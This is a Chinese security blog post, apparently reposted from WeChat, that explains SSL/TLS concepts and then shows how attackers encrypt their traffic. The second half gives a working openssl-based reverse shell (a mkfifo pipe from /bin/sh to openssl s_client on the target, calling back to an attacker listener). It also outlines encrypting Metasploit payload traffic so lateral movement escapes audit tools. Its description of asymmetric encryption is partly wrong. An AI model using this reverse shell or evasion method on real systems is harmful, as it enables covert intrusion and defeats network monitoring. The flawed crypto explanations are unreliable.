讲流量加密之前,先简单介绍几个名词
对称加密:你我之间传输的文件加密是用同一个密钥进行加密的,解密也是使用同一个密钥
非对称加密:你我双方各自拥有私钥和公钥,其中私钥是自己拥有不公开,公钥是公开的。当我要和你进行非对称加密通信时,我会使用我的私钥对要传输的文件进行加密,然后再把文件传输给你,当你接收后,通过我公布我的公钥对该文件进行解密,就可以拿到明文文件了。
签名:只有信息的发送者才能产生的别人无法伪造的一段数字串,这段数字串同时也是对信息的公钥加密发送者发送信息真实性的一个有效证明。
CA证书:将要发送公钥文件的发送者的公钥和文件信息进行私钥加密,即签名,生成签名证书。然后把CA自己本身的公钥文件公开。
数据传输过程
数据传输开始时候用的是非对称加密算法,在客户端与服务器间传输的数据是通过使用对称算法(如 DES 或 RC4)进行加密的。
SSL加密通道上的数据加解密使用对称密钥算法,目前主要支持的算法有DES、RC4、3DES、AES等,这些算法都可以有效地防止交互数据过程被窃听。
对称密钥算法要求解密密钥和加密密钥完全一致。因此,利用对称密钥算法加密传输数据之前,需要在通信两端部署相同的密钥。
非对称加密算法(通常为 RSA)只是用来获得加密密钥交换和数字签名的,此算法使用服务器的SSL数字证书中的公用密钥。与非对称密钥算法相比,对称密钥算法具有计算速度快的优点,通常用于对大量信息进行加密(如对所有报文加密);而非对称密钥算法,一般用于数字签名和对较少的信息进行加密。所以说,非对称的加密(如RSA)相当于只是用于刚开始建立连接,通道打通之后就用的是对称加密算法(RC4)。
如何保证数据完整性
为了避免网络中传输的数据被非法篡改,SSL利用基于MD5或SHA的MAC算法来保证消息的完整性。MAC算法是在密钥参与下的数据摘要算法,能将密钥和任意长度的数据转换为固定长度的摘要数据,这串摘要值与原数据存在对应关系,就是原数据会生成这个摘要,但是,这个摘要是不能还原成原数据的。利用MAC算法验证消息完整性的过程如下图
所示。发送者在密钥的参与下,利用MAC算法计算出消息的MAC值,并将其加在消息之后发送给接收者。接收者利用同样的密钥和MAC算法计算出消息的MAC值,并与接收到的MAC值比较。因此,利用MAC算法验证消息完整性之前,需要在通信两端部署相同的密钥。RC4对称加密是为了保证数据的安全性,MAC(如MD5)摘要算法是为了保证数据的完整性。
对称密钥算法和MAC算法要求通信双方具有相同的密钥,否则解密或MAC值验证将失败。因此,要建立加密通道或验证消息完整性,必须先在通信双方部署一致的密钥。SSL利用非对称密钥算法加密密钥的方法实现密钥交换,保证第三方无法获取该密钥。
SSL客户端(如Web浏览器)利用SSL服务器(如Web服务器)的公钥加密对称密钥,将加密后的密钥发送给SSL服务器,只有拥有对应私钥的SSL服务器才能从接收到的密文中获取原始的对称密钥。SSL通常采用RSA算法加密传输密钥。实际上,SSL客户端发送给SSL服务器的密钥不能直接用来加密数据或计算MAC值,该密钥是用来计算对称密钥和MAC密钥的信息,称为premaster secret。SSL客户端和SSL服务器利用premaster secret计算出相同的主密钥(master secret),再利用master secret生成用于对称密钥算法、MAC算法等的密钥。premaster secret是计算对称密钥、MAC算法密钥的关键。
流量加密几种方式
一、openssl反弹加密shell
简述openssl工具,OpenSSL 是一个开放源代码的软件库包,应用程序可以使 用这个包来进行安全通信,避免窃听,同时确认另一端连接者的身份。
1.先在攻击机通过openssl创建签名。
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 –nodes
2.然后监听端口
openssl s_server -quiet -key key.pem -cert cert.pem -port 8080
3.然后在目标机上执行反弹shell命令
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect ip:8080 > /tmp/s;
这时候我们可以看到shell已经是成功反弹过来了,通过wireshark抓包分析可以看到,两机之间的通信已经加密,没法具体看出流量内容
二、MSF流量加密
简述:Metasploit攻击工具在内网横向渗透时,流量容易被检测出来,所以要对msf流量进行加密。
1.通过openssl创建SSL/TLS证书
2.msf生成后门文件
3.msfconsole设置监听器
这里要注意,show advanced,查看handlersslcert 是否调用了openssl创建的证书,stagerverifysslcert是否开启。检查无误后,exploit
可以看到,可以看到我电脑的主机名字还有我电脑的网络情况,如果这个是内网机器,那就可以通过这个机器作为跳板横向拓展网络内容,并且msf流量做了加密,就可以避免流量审计工具检测出来。
↑↑↑长按图片识别二维码关註↑↑↑
原文始发于微信公众号(全栈网络空间安全):讲一讲流量加密
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论